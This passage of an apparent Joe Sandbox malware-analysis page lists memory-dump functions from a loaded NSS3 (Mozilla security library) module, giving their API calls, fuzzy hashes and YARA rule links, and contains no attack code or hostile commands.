Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 3f634aa49dc7548974d9300b69eb5df120124765e922120b36b80e4f99dad62b
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 824182B2A402518BCB18CF18DCE179AB7E1FF4431871D466DD84ACBB02E375E8A5CB85

Function 6CBAA860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CBAA690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CBAA662), ref: 6CBAA69E
Part of subcall function 6CBAA690: PR_NewCondVar.NSS3(?), ref: 6CBAA6B4

PR_IntervalNow.NSS3 ref: 6CBAA8C6
EnterCriticalSection.KERNEL32(?), ref: 6CBAA8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAA944
PR_SetPollableEvent.NSS3(?), ref: 6CBAA94F

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: d2877ea40363b4d4f9e1a31f46248ed796f1d0d1440d5480fb8606c6f411dbf2
Instruction ID: 10cf6b6d77863267f585bc170557b881039010be6b6f15fe03199ea063945d9c
Opcode Fuzzy Hash: d2877ea40363b4d4f9e1a31f46248ed796f1d0d1440d5480fb8606c6f411dbf2
Instruction Fuzzy Hash: 824188B4A05A02CFC704CF69C58095AFBF1FF48318B25852AE889CBB11E731E851CFA0

Function 6CB02C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6CB01289,?), ref: 6CB02D72

Part of subcall function 6CB03390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6CB02CA7,E80C76FF,?,6CB01289,?), ref: 6CB033E9
Part of subcall function 6CB03390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6CB0342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB01289,?), ref: 6CB02D61

Part of subcall function 6CB00B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB00B21
Part of subcall function 6CB00B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB00B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6CB01289,?), ref: 6CB02D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CB01289,?), ref: 6CB02DAF

Part of subcall function 6CABB8F0: PR_CallOnceWithArg.NSS3(6CBF2178,6CABBCF0,?), ref: 6CABB915
Part of subcall function 6CABB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CABB933
Part of subcall function 6CABB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CABB9C8
Part of subcall function 6CABB8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CABB9E1

Part of subcall function 6CB00A50: SECOID_GetAlgorithmTag_Util.NSS3(6CB02A90,E8571076,?,6CB02A7C,6CB021F1,?,?,?,00000000,00000000,?,?,6CB021DD,00000000), ref: 6CB00A66

Part of subcall function 6CB03310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6CB02D1E,?,?,?,?,00000000,?,?,?,?,?,6CB01289), ref: 6CB03348

Part of subcall function 6CB006F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CB02E70,00000000), ref: 6CB00701

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: dbc217f0406f8ea1380edba688440e7f75ac5e6985307595a41e7bd93c74d039
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: 4131C7B6B00291ABDB019E64EC45E9E3B69AF4521DF140230ED189B791EB31E95CC7A3

Function 6CB06AE0 Relevance: 6.1, APIs: 4, Instructions: 105threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CB06B3E

Part of subcall function 6CB06C20: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CB06C8A
Part of subcall function 6CB06C20: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CB06C90

Part of subcall function 6CB07E20: PR_SetError.NSS3(00000000,00000000), ref: 6CB07E5F

PR_SetError.NSS3(FFFFD07B,00000000), ref: 6CB06B84
PR_EnterMonitor.NSS3(?), ref: 6CB06BE0
PR_ExitMonitor.NSS3(?), ref: 6CB06C01

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorMonitorfree$CurrentEnterExitThread
String ID:
API String ID: 4197271849-0
Opcode ID: 4616616cf51905909a651acd427272da884d1f860d5ebd9e3e1c98627f14b713
Instruction ID: 7a112212cd19818a7b0a2c89be34501c2f78f31ce5b3cbbf4b24a50929cf2a13
Opcode Fuzzy Hash: 4616616cf51905909a651acd427272da884d1f860d5ebd9e3e1c98627f14b713
Instruction Fuzzy Hash: 3D3109F1B001D55BD7105AA89C82B9F3E68DF4532CF480171EC09DF796E731D99AC6A2

Function 6CA96C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA96C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA96CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CA96CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CBB8FE0), ref: 6CA96CFE

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 3e8bb38215471bd40053291b554964cfceabb5dfd5153727afdb4c382b8e4404
Instruction ID: 5ebfdcbe916258f1c13c15a66bd121a99f9184f6266bf30407127830b6b294c8
Opcode Fuzzy Hash: 3e8bb38215471bd40053291b554964cfceabb5dfd5153727afdb4c382b8e4404
Instruction Fuzzy Hash: B33181B5A002169FDB08CF65C892ABFBBF5EF45248B14442DE915E7710EB319946CBE0

Function 6CBA4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CBA4F5D
free.MOZGLUE(?), ref: 6CBA4F74
free.MOZGLUE(?), ref: 6CBA4F82
GetLastError.KERNEL32 ref: 6CBA4F90

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 46ef07df8e1d6954e0acc5b11771ddd9dcc925907aa74a0c8445c43cae396ee4
Instruction ID: 05b6ffaa7b99c0a4df7742918c823e332fd09ffba54d636c1106c9d517f2367b
Opcode Fuzzy Hash: 46ef07df8e1d6954e0acc5b11771ddd9dcc925907aa74a0c8445c43cae396ee4
Instruction Fuzzy Hash: F7314B75A042494BDF01CFA8DC41BDFB3B8EF49398F041225EC69A7781DB3599068A92

Function 6CB06DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CB06E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB06E57

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CB06E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CB06EAA

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 653ee00d6b6909d4c6631ed49020a8cbe2d8bda8030db725c1e40b67e74d0c48
Instruction ID: 051e956764533fd6f34cae3790feb6d3a2313546c00628705beece21e612cd26
Opcode Fuzzy Hash: 653ee00d6b6909d4c6631ed49020a8cbe2d8bda8030db725c1e40b67e74d0c48
Instruction Fuzzy Hash: B2318171710792EEDB145F34DD043AABBA4EB0135AF10063CDC99D6A90EB3069D9CB92

Function 6CB02880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6CB02896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6CB02932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB0294C
free.MOZGLUE(?), ref: 6CB02955

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: b9ba2347293154000b87006047e6bf3f463eb30f077ce7b9112cfa387278365f
Instruction ID: 78776fa3c9c0056b1f28929ac5176e271ecd665f3c183f54ac7d5581e450eef5
Opcode Fuzzy Hash: b9ba2347293154000b87006047e6bf3f463eb30f077ce7b9112cfa387278365f
Instruction Fuzzy Hash: 6E21A4B67006409BEB218B26EC09F577BE9EF85359F050538E44987B61FB31E85C8753

Function 6CB5AAA2 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CBF0D9C,00000000), ref: 6CB5AAD4
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CBF0DA8,00000000), ref: 6CB5AAE3

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID:
API String ID: 2450287516-0
Opcode ID: 0818af4243aafe82db45c9ac9ba8ec215cdb5b6728ddd7aa25ed8b406b7b4946
Instruction ID: acc8da144f101106bd0e3b1ffd5c336b2af377859e04e91e55dd105a7dc98c84
Opcode Fuzzy Hash: 0818af4243aafe82db45c9ac9ba8ec215cdb5b6728ddd7aa25ed8b406b7b4946
Instruction Fuzzy Hash: 19212839D002D5ABCF00DFA899006DE77BADF06328F504015EC24BBB90D771A9258FB2

Function 6CB3A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CB22AE9,00000000,0000065C), ref: 6CB3A91D

Part of subcall function 6CADADC0: TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE10
Part of subcall function 6CADADC0: EnterCriticalSection.KERNEL32(?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE24
Part of subcall function 6CADADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CABD079,00000000,00000001), ref: 6CADAE5A
Part of subcall function 6CADADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE6F
Part of subcall function 6CADADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE7F
Part of subcall function 6CADADC0: TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEB1
Part of subcall function 6CADADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CB22AE9,00000000,0000065C), ref: 6CB3A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CB22AE9,00000000,0000065C), ref: 6CB3A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CB3A952

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 36f27c2bb9be0fd7dcdec3d238a11b40eaf0c16ccdfd6c61795967479737b573
Instruction ID: 34aedb57088f0a1b70c5b726e4b50c77bbecdee1e91b18fe0b8f7fbdb4888cf8
Opcode Fuzzy Hash: 36f27c2bb9be0fd7dcdec3d238a11b40eaf0c16ccdfd6c61795967479737b573
Instruction Fuzzy Hash: F1312AB46012119FDB04CF54D984E62B7E8FF4C358B2582A9E80D9B756E730E804CFA2

Function 6CAD4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD5064

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 4af6b5c4fca27cf634f5f9064fee09cdf6e64b45e5f34e8559e4d28b1913b22b
Instruction ID: 650a9c5ab9b8ab237d72c55b98be8bc51b3b9ecd92d7c13f7aaa0354dd518c86
Opcode Fuzzy Hash: 4af6b5c4fca27cf634f5f9064fee09cdf6e64b45e5f34e8559e4d28b1913b22b
Instruction Fuzzy Hash: EF3126B4A05A06CFDB00EF68D484A6ABBF4FF08744B158929D869D7700E730F894CBD2

Function 6CABABF0 Relevance: 6.1, APIs: 4, Instructions: 74stringCOMMON

Download Yara Rule

APIs

CERT_GetFirstEmailAddress.NSS3(?), ref: 6CABAC0B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CABAC26
PR_Now.NSS3 ref: 6CABAC34
CERT_GetNextEmailAddress.NSS3(?,00000000), ref: 6CABAC6E

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: AddressEmail$FirstNextstrcmp
String ID:
API String ID: 3008928262-0
Opcode ID: e2489dbbcebdefb90213262238a5a5ddc626e811a9d5391e7b59a6ea8afb19d4
Instruction ID: 59d2c44af9326c9a0e3cc781312b7180a4d543d4fac5dbfa274f3deb6a66e3e6
Opcode Fuzzy Hash: e2489dbbcebdefb90213262238a5a5ddc626e811a9d5391e7b59a6ea8afb19d4
Instruction Fuzzy Hash: 42110371A012456FA7009FA98D829BF37EDEF46658B180438FD18D3702FB30EC5882E2

Function 6CB02DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB02E08

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CB02E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CB02E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB02E95

Part of subcall function 6CAF1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF1228
Part of subcall function 6CAF1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CAF1238
Part of subcall function 6CAF1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF124B
Part of subcall function 6CAF1200: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0,00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF125D
Part of subcall function 6CAF1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CAF126F
Part of subcall function 6CAF1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAF1280
Part of subcall function 6CAF1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CAF128E
Part of subcall function 6CAF1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CAF129A
Part of subcall function 6CAF1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CAF12A1

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a85e4ed7b4248596375b316110e9c132a52d01bb3a2b6cc4ebfb79dd91d35d52
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: DB21D4B1E403854BE700CF549D44BAB3B64AF9130CF110269ED185B752F7B2E69C8293

Function 6CA804D0 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 6CA804F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA8053B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA80558
GetLastError.KERNEL32 ref: 6CA8057A

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorFileHandleInformationLast
String ID:
API String ID: 3051374878-0
Opcode ID: daaa5da77c4932b492e8a29c4dfa191991218060e7a7b220d1246fe5dfc3d81b
Instruction ID: bb5fd98e8f0af13f3100806531ff27fdb453c2642b8fcc48e94604178b8f32bc
Opcode Fuzzy Hash: daaa5da77c4932b492e8a29c4dfa191991218060e7a7b220d1246fe5dfc3d81b
Instruction Fuzzy Hash: C0215E71A002189FDB08DF68DC95AAEBBB8FF48318B148029E8199B351D731ED05CBA0

Function 6CA969B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6CA96AB7,0000000C,00000001,00000000,?,?,6CA96AB7,?,00000000,?), ref: 6CA969CE

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
